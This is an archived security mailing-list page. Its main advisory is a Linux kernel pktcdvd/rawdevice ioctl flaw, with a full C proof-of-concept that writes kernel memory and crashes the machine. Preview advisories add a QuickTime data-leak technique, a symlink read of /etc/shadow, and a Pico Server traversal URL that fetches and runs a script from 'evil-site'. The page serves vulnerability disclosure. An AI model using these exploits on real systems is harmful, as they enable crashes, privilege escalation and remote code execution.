The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site:
http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Linux Kernel pktcdvd and rawdevice ioctl Race Condition
------------------------------------------------------------------------
SUMMARY
Two locally exploitable flaws have been found in the Linux rawdevice and
pktcdvd block device ioctl handler that allows local users to gain root
privileges and also execute arbitrary code at kernel privilege level.
DETAILS
Vulnerable Systems:
* Linux Kernel 2.6 series up to 2.6.12-rc4
The Linux kernel contains pktcdvd and rawdevice block device components.
Due to the missing checks in pktcdvd and rawdevice ioctl handler
parameter, the process can break user space limit and execute arbitrary
code at kernel privilege level.
Code Snips:
The vulnerable code resides in drivers/block/pktcdvd.c in your preferable
version of the Linux kernel source code tree.
static int pkt_ioctl(struct inode *inode, struct file *file, unsigned
int cmd, unsigned long arg)
{
struct pktcdvd_device *pd = inode->i_bdev->bd_disk->private_data;
VPRINTK("pkt_ioctl: cmd %x, dev %d:%d\n", cmd, imajor(inode),
iminor(inode));
BUG_ON(!pd);
switch (cmd) {
/*
* forward selected CDROM ioctls to CD-ROM, for UDF
*/
case CDROMMULTISESSION:
case CDROMREADTOCENTRY:
case CDROM_LAST_WRITTEN:
case CDROM_SEND_PACKET:
case SCSI_IOCTL_SEND_COMMAND:
[*] return ioctl_by_bdev(pd->bdev, cmd, arg);
case CDROMEJECT:
/*
* The door gets locked when the device is opened, so we
* have to unlock it or else the eject command fails.
*/
pkt_lock_door(pd, 0);
[*] return ioctl_by_bdev(pd->bdev, cmd, arg);
default:
As we can see from [*] the arg variable supplied to the ioctl_by_bdev()
function is not checked and user can input arg > TASK_SIZE value.
Code Snips:
fs/block_dev.c
int ioctl_by_bdev(struct block_device *bdev, unsigned cmd, unsigned long
arg)
{
int res;
mm_segment_t old_fs = get_fs();
[**] set_fs(KERNEL_DS);
res = blkdev_ioctl(bdev->bd_inode, NULL, cmd, arg);
set_fs(old_fs);
return res;
}
However, for also support kernel space parameters, ioctl_by_bdev() call
[**] set_fs(KERNEL_DS) to access parameters in kernel space. So if
ioctl_by_bdev() parameter arg > TASK_SIZE, the process can break user
space limit and rewrite kernel space data. Local user can execute
arbitrary code at kernel privilege level.
This exploit require user can read the block device.
Rawdevice is similar above
Code Snips:
drivers/char/raw.c
static int
raw_ioctl(struct inode *inode, struct file *filp,
unsigned int command, unsigned long arg)
{
struct block_device *bdev = filp->private_data;
[*] return ioctl_by_bdev(bdev, command, arg);
}
Exploit:
/* pktcdvd_dos.c proof-of-concept
* This is only a lame POC which will crash the machine, no root shell
here.
* --- alert7
* 2005-5-15
* the vulnerability in 2.6 up to and including 2.6.12-rc4
*
* gcc -o pktcdvd_dos pktcdvd_dos.c
*
* NOTE: require user can read pktcdvd block device
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <paths.h>
#include <grp.h>
#include <setjmp.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/ucontext.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <asm/page.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <linux/linkage.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/sysctl.h>
#include <linux/cdrom.h>
#define __NR_sys_ioctl __NR_ioctl
#define PKTCDVDDEVICE "/dev/hdc"
static inline _syscall3(int, sys_ioctl, int ,fd,int, cmd,unsigned long,
arg);
struct idtr {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed));
unsigned int get_addr_idt() {
struct idtr idtr;
asm("sidt %0" : "=m" (idtr));
return idtr.base;
}
struct desc_struct {
unsigned long a,b;
};
int main(int argc,char **argv)
{
unsigned int ptr_idt;
int iret ;
int fd;
printf("[++]user stack addr %p \n",&ptr_idt);
if ( ( (unsigned long )&ptr_idt >>24)==0xfe){
printf("[--]this kernel patched 4g/4g patch,no
vulnerability!\n");
return -1;
}
ptr_idt=get_addr_idt();
printf("[++]IDT Addr %p \n",ptr_idt);
fd = open(PKTCDVDDEVICE,O_RDONLY);
if (fd ==-1)
{
printf("[--]");
fflush(stdout);
perror("open");
return -1;
}
unsigned long WriteTo ;
if ( (ptr_idt>>24)==0xc0){
printf("[++]this OS in Real Linux\n");
WriteTo= ptr_idt;
}else{
printf("[++]this OS maybe in VMWARE\n");
WriteTo = 0xc0100000;
}
printf("[++]call sys_ioctl will crash machine\n");
fflush(stdout);
int loopi;
for (loopi=0;loopi<0x100000 ;loopi++ )
{
printf("[++]will write data at 0x%x\n",WriteTo+loopi*4);
fflush(stdout);
iret = sys_ioctl(fd,
CDROM_LAST_WRITTEN,
WriteTo+loopi*4);
if (iret ==-1)
{
printf("[--]");
fflush(stdout);
perror("ioctl");
//if in VMWARE ,rewrite ptr_idt adress will failed
printf("[--]still aliving\n");
close(fd);
return -1;
}
}
close(fd);
return 0;
}
/* EOF */
CVE Information:
<
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1589>
CAN-2005-1589
ADDITIONAL INFORMATION
The information has been provided by <
mailto:bugs@xxxxxxxxxxxxx> alert7.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
Thread at a glance:
Previous Message by Date:
click to view message preview
[NEWS] Quartz Composer / QuickTime 7 Information Leakage
The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Quartz Composer / QuickTime 7 Information Leakage
------------------------------------------------------------------------
SUMMARY
Quartz Composer files are created with the Quartz Composer application
included with the developer tools. The compositions (QTZ files) it creates
can be used as screen savers, viewed as they are in the application or
embedded as QT atoms in a '.mov' container. As such, they can be viewed in
a wide-ranging array of environments, including a web browser, Keynote 2
and the Finder.
Compositions have access to a number of powerful tools (patches), each
providing or acting-upon information, ultimately resulting in a graphic
composition. The design assumption seems to be that these details should
always be contained within the presentation. However, by combining patches
that provide advanced system information with patches that load
information from the Internet, a malicious '.mov' file (viewed for example
by the QuickTime web plugin) can leak this information to an external
host.
This issue has not been addressed by Apple yet, and because details of the
potential exploit appeared in a public forum shortly after David had
notified the vendor, a fix may still be some time away. A temporary
work-around is disabling the QuickTime plugin and treating Quartz Composer
files with suspicion.
DETAILS
Vulnerable Systems:
* Apple Mac OS X 10.4 (QuickTime 7)
Immune Systems:
* Apple Mac OS X 10.3.9 (QuickTime 6.5, 7)
* QuickTime for Windows
Impact:
The information that can be leaked by this method includes (but may not be
limited to):
* Local user name (long and short)
* Computer name
* Local IP
* OS / kernel version
* CPU / RAM / GPU configuration
* Names (human-readable) of Bonjour services on the local network
* Local or system time
* Volume of audio input
* Lists of images (including pdfs) matching arbitrary spotlight queries
* Lists of images (including pdfs) in specific directories (relative to /
or ~)
* The existence of image and movie files can indicate the existence of
certain software packages
This information can be used for profiling of potential victims, for
further use in attacks against the user's system or phising related social
engineering.
Proof of Concept:
A proof-of-concept in the form of a Quartz Composer composition embedded
in a '.mov' file is available at the following link. Please see that
document for more information:
<http://remahl.se/david/vuln/018/demo.html>
http://remahl.se/david/vuln/018/demo.html.
Technical Details:
The basic attack works as follows:
1. A patch providing the information (for example the Host Info patch) is
created (A)
2. The output of (A) is connected to a JavaScript patch which uses
encodeURIComponent() to URI encode the string (B).
3. The output of (B) is connected to a String Printer which results in a
URI, for example (C)
4. The output of (C) is connected to the URL input connection of either
the Image Downloader patch or the RSS Feed patch. (D)
5. The output of (D) must be used somehow, otherwise this part of the
patch graph will not be used. Rendering the output (via a String to Image)
to a 0-sized billboard is fine.
6. When the (D) patch is activated, it will access the URI (output of
(C)), thus leaking the restricted information to an HTTP
host of the attacker's choice.
Vendor contact:
Apple Computer's security team was contacted with information about the
issue on 2005-05-06. Following a discussion of this problem on the public
quartzcomposer-dev mailinglist (initiated by a third-party), the full
details of the problems were released on May 11.
Vendor response:
Apple Computer - 2005-05-10, 04:50 UTC: Confirmed receipt of problem
report(did not confirm issue).
ADDITIONAL INFORMATION
The information has been provided by <mailto:vuln@xxxxxxxxx> David
Remahl.
The original article can be found at: <http://remahl.se/david/vuln/018/>
http://remahl.se/david/vuln/018/
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
Next Message by Date:
click to view message preview
[UNIX] Pico Server Multiple Vulnerabilities (Information Disclosure, Directory Traversal)
The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Pico Server Multiple Vulnerabilities (Information Disclosure, Directory
Traversal)
------------------------------------------------------------------------
SUMMARY
" <http://pserv.sourceforge.net/> Pico Server (pServ) is written in
portable C (K&R style so it can compile on older compilers too) and sports
several options that by means of #define statements can customize the
behavior, the performance and the feature set so to be able to fit better
the the requisites."
Information Disclosure vulnerabilities where found in Pico server that
allow attackers to retrieve information from the local computer. A
directory traversal vulnerability found in the Pico server allows
attackers to execute arbitrary code.
DETAILS
Vulnerable Systems:
* Pico Server version 3.2 and prior (Vulnerable to all vulnerabilities)
* Pico Server version 3.3 (Vulnerable to local information disclosure)
Immune Systems:
* Pico Server version 3.3 (Immune to remote information disclosure and
directory traversal)
Local Information Disclosure:
pServ does not distinguish between normal files and from symbolic-links.
Unfortunately it only check the link itself but not check if the
symbolic-link target is still in the web-root. That is why an attacker
with access to a directory on the web server (e.g. via FTP) can place a
symbolic link to any file on the server. The attacker can then retrieve
that file (if pServe have the permission to read it) through the web
server by navigating his browser to that link.
Proof of Concept
Retrieving /etc/shadow if pServe runs as root:
1. As user go to your web-directory e.g.: cd /usr/local/var/www/userdir
2. Create a link to /etc/shadow: ln -s /etc/shadow
3. Retrieve the shadow file by pointing your browser to
http://vuln-host:2000/userdir/shadow
Workaround
pServe should run as a user with minimal privileges. Files that should not
be read by unprivileged users should have their permissions set
accordingly.
Remote Information Disclosure:
pServ has CGI-BIN support. Only URLs beginning with "cgi-bin" are treated
as cgi-scripts. The server does not check correctly whether a user
accesses a file in cgi-bin and gives away the source instead of executing
it.
The server only checks, whether a file is in cgi-bin by checking whether
the beginning of the directory part of the URL matches "cgi-bin". A user
can circumvent this by asking for /somedir/../cgi-bin/ and therefore is
able to retrieve the complete source-code of all scripts in cgi-bin.
Proof of Concept:
This URL lets us download the source of test.pl instead of executing it.
http://vuln-host:2000/somedir/../cgi-bin/test.pl
Vendor Status:
The developers have released version 3.3. This version should fix the
problem.
Directory Traversal:
Only if pServ is compiled with support for CGI-BIN a remote attacker is
able to execute any program (with pServ permissions) on the server by
traversing out of the cgi-bin directory.
The CGI-BIN support is searching in the URL for the directory cgi-bin
and if it found, the script are treated as CGI scripts.
To avoid that a user traverses out of the cgi-bin using traditional /../,
pServ parses the requested URL. It increases a counter by one if it parses
a / (new subdirectory) and decreases the counter if it parses /../. If the
counter goes below zero the URL is rejected as illegal. Unfortunately an
attacker can avoid being rejected, just by using enough / in the URL
(without directory names between them), so he can traverse out of the
cgi-bin by adding some /../ . This allow the attacker execute any program
on the server (with pServ permissions).
Proof of Concept:
The following url downloads a script (or executable) to the server:
http://vuln-host:2000/cgi-bin///////////../../../../../../../../usr/bin/wget?-q
+http://evil-site/evil.pl/+-O+/tmp/evil.pl
This is how the script can be executed afterwards:
http://vuln-host:2000/cgi-bin///////////../../../../../../../../usr/bin/perl?/tmp/evil.pl
Vendor Status:
The developers have released version 3.3. This version should fix the
problem.
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1365>
CAN-2005-1365
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1366>
CAN-2005-1366
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1367>
CAN-2005-1367
Disclosure Timeline:
2005-04-29 Vulnerabilities found
2005-05-02 First attempt to inform developers. CAN-number assigned
2005-05-04 Second attempt to inform developers
2005-05-16 New version released two vulnerabilities was fixed (Remote
Information discloser and Directory Traversal) One Vulnerability was not
fixed (Local Information Discloser). Advisory published
ADDITIONAL INFORMATION
The information has been provided by <mailto:bugtraq@xxxxxxxxxxxxxxxxxx>
Claus R. F. Overbeck.
The original article can be found at:
<http://tsyklon.informatik.rwth-aachen.de/redteam/rt-sa-2005-010>
http://tsyklon.informatik.rwth-aachen.de/redteam/rt-sa-2005-010,
<http://tsyklon.informatik.rwth-aachen.de/redteam/rt-sa-2005-011>
http://tsyklon.informatik.rwth-aachen.de/redteam/rt-sa-2005-011 and
<http://tsyklon.informatik.rwth-aachen.de/redteam/rt-sa-2005-012>
http://tsyklon.informatik.rwth-aachen.de/redteam/rt-sa-2005-012
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
Previous Message by Thread:
click to view message preview
[NEWS] Quartz Composer / QuickTime 7 Information Leakage
The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Quartz Composer / QuickTime 7 Information Leakage
------------------------------------------------------------------------
SUMMARY
Quartz Composer files are created with the Quartz Composer application
included with the developer tools. The compositions (QTZ files) it creates
can be used as screen savers, viewed as they are in the application or
embedded as QT atoms in a '.mov' container. As such, they can be viewed in
a wide-ranging array of environments, including a web browser, Keynote 2
and the Finder.
Compositions have access to a number of powerful tools (patches), each
providing or acting-upon information, ultimately resulting in a graphic
composition. The design assumption seems to be that these details should
always be contained within the presentation. However, by combining patches
that provide advanced system information with patches that load
information from the Internet, a malicious '.mov' file (viewed for example
by the QuickTime web plugin) can leak this information to an external
host.
This issue has not been addressed by Apple yet, and because details of the
potential exploit appeared in a public forum shortly after David had
notified the vendor, a fix may still be some time away. A temporary
work-around is disabling the QuickTime plugin and treating Quartz Composer
files with suspicion.
DETAILS
Vulnerable Systems:
* Apple Mac OS X 10.4 (QuickTime 7)
Immune Systems:
* Apple Mac OS X 10.3.9 (QuickTime 6.5, 7)
* QuickTime for Windows
Impact:
The information that can be leaked by this method includes (but may not be
limited to):
* Local user name (long and short)
* Computer name
* Local IP
* OS / kernel version
* CPU / RAM / GPU configuration
* Names (human-readable) of Bonjour services on the local network
* Local or system time
* Volume of audio input
* Lists of images (including pdfs) matching arbitrary spotlight queries
* Lists of images (including pdfs) in specific directories (relative to /
or ~)
* The existence of image and movie files can indicate the existence of
certain software packages
This information can be used for profiling of potential victims, for
further use in attacks against the user's system or phising related social
engineering.
Proof of Concept:
A proof-of-concept in the form of a Quartz Composer composition embedded
in a '.mov' file is available at the following link. Please see that
document for more information:
<http://remahl.se/david/vuln/018/demo.html>
http://remahl.se/david/vuln/018/demo.html.
Technical Details:
The basic attack works as follows:
1. A patch providing the information (for example the Host Info patch) is
created (A)
2. The output of (A) is connected to a JavaScript patch which uses
encodeURIComponent() to URI encode the string (B).
3. The output of (B) is connected to a String Printer which results in a
URI, for example (C)
4. The output of (C) is connected to the URL input connection of either
the Image Downloader patch or the RSS Feed patch. (D)
5. The output of (D) must be used somehow, otherwise this part of the
patch graph will not be used. Rendering the output (via a String to Image)
to a 0-sized billboard is fine.
6. When the (D) patch is activated, it will access the URI (output of
(C)), thus leaking the restricted information to an HTTP
host of the attacker's choice.
Vendor contact:
Apple Computer's security team was contacted with information about the
issue on 2005-05-06. Following a discussion of this problem on the public
quartzcomposer-dev mailinglist (initiated by a third-party), the full
details of the problems were released on May 11.
Vendor response:
Apple Computer - 2005-05-10, 04:50 UTC: Confirmed receipt of problem
report(did not confirm issue).
ADDITIONAL INFORMATION
The information has been provided by <mailto:vuln@xxxxxxxxx> David
Remahl.
The original article can be found at: <http://remahl.se/david/vuln/018/>
http://remahl.se/david/vuln/018/
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
Next Message by Thread:
click to view message preview
[UNIX] Pico Server Multiple Vulnerabilities (Information Disclosure, Directory Traversal)
The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Pico Server Multiple Vulnerabilities (Information Disclosure, Directory
Traversal)
------------------------------------------------------------------------
SUMMARY
" <http://pserv.sourceforge.net/> Pico Server (pServ) is written in
portable C (K&R style so it can compile on older compilers too) and sports
several options that by means of #define statements can customize the
behavior, the performance and the feature set so to be able to fit better
the the requisites."
Information Disclosure vulnerabilities where found in Pico server that
allow attackers to retrieve information from the local computer. A
directory traversal vulnerability found in the Pico server allows
attackers to execute arbitrary code.
DETAILS
Vulnerable Systems:
* Pico Server version 3.2 and prior (Vulnerable to all vulnerabilities)
* Pico Server version 3.3 (Vulnerable to local information disclosure)
Immune Systems:
* Pico Server version 3.3 (Immune to remote information disclosure and
directory traversal)
Local Information Disclosure:
pServ does not distinguish between normal files and from symbolic-links.
Unfortunately it only check the link itself but not check if the
symbolic-link target is still in the web-root. That is why an attacker
with access to a directory on the web server (e.g. via FTP) can place a
symbolic link to any file on the server. The attacker can then retrieve
that file (if pServe have the permission to read it) through the web
server by navigating his browser to that link.
Proof of Concept
Retrieving /etc/shadow if pServe runs as root:
1. As user go to your web-directory e.g.: cd /usr/local/var/www/userdir
2. Create a link to /etc/shadow: ln -s /etc/shadow
3. Retrieve the shadow file by pointing your browser to
http://vuln-host:2000/userdir/shadow
Workaround
pServe should run as a user with minimal privileges. Files that should not
be read by unprivileged users should have their permissions set
accordingly.
Remote Information Disclosure:
pServ has CGI-BIN support. Only URLs beginning with "cgi-bin" are treated
as cgi-scripts. The server does not check correctly whether a user
accesses a file in cgi-bin and gives away the source instead of executing
it.
The server only checks, whether a file is in cgi-bin by checking whether
the beginning of the directory part of the URL matches "cgi-bin". A user
can circumvent this by asking for /somedir/../cgi-bin/ and therefore is
able to retrieve the complete source-code of all scripts in cgi-bin.
Proof of Concept:
This URL lets us download the source of test.pl instead of executing it.
http://vuln-host:2000/somedir/../cgi-bin/test.pl
Vendor Status:
The developers have released version 3.3. This version should fix the
problem.
Directory Traversal:
Only if pServ is compiled with support for CGI-BIN a remote attacker is
able to execute any program (with pServ permissions) on the server by
traversing out of the cgi-bin directory.
The CGI-BIN support is searching in the URL for the directory cgi-bin
and if it found, the script are treated as CGI scripts.
To avoid that a user traverses out of the cgi-bin using traditional /../,
pServ parses the requested URL. It increases a counter by one if it parses
a / (new subdirectory) and decreases the counter if it parses /../. If the
counter goes below zero the URL is rejected as illegal. Unfortunately an
attacker can avoid being rejected, just by using enough / in the URL
(without directory names between them), so he can traverse out of the
cgi-bin by adding some /../ . This allow the attacker execute any program
on the server (with pServ permissions).
Proof of Concept:
The following url downloads a script (or executable) to the server:
http://vuln-host:2000/cgi-bin///////////../../../../../../../../usr/bin/wget?-q
+http://evil-site/evil.pl/+-O+/tmp/evil.pl
This is how the script can be executed afterwards:
http://vuln-host:2000/cgi-bin///////////../../../../../../../../usr/bin/perl?/tmp/evil.pl
Vendor Status:
The developers have released version 3.3. This version should fix the
problem.
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1365>
CAN-2005-1365
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1366>
CAN-2005-1366
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1367>
CAN-2005-1367
Disclosure Timeline:
2005-04-29 Vulnerabilities found
2005-05-02 First attempt to inform developers. CAN-number assigned
2005-05-04 Second attempt to inform developers
2005-05-16 New version released two vulnerabilities was fixed (Remote
Information discloser and Directory Traversal) One Vulnerability was not
fixed (Local Information Discloser). Advisory published
ADDITIONAL INFORMATION
The information has been provided by <mailto:bugtraq@xxxxxxxxxxxxxxxxxx>
Claus R. F. Overbeck.
The original article can be found at:
<http://tsyklon.informatik.rwth-aachen.de/redteam/rt-sa-2005-010>
http://tsyklon.informatik.rwth-aachen.de/redteam/rt-sa-2005-010,
<http://tsyklon.informatik.rwth-aachen.de/redteam/rt-sa-2005-011>
http://tsyklon.informatik.rwth-aachen.de/redteam/rt-sa-2005-011 and
<http://tsyklon.informatik.rwth-aachen.de/redteam/rt-sa-2005-012>
http://tsyklon.informatik.rwth-aachen.de/redteam/rt-sa-2005-012
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.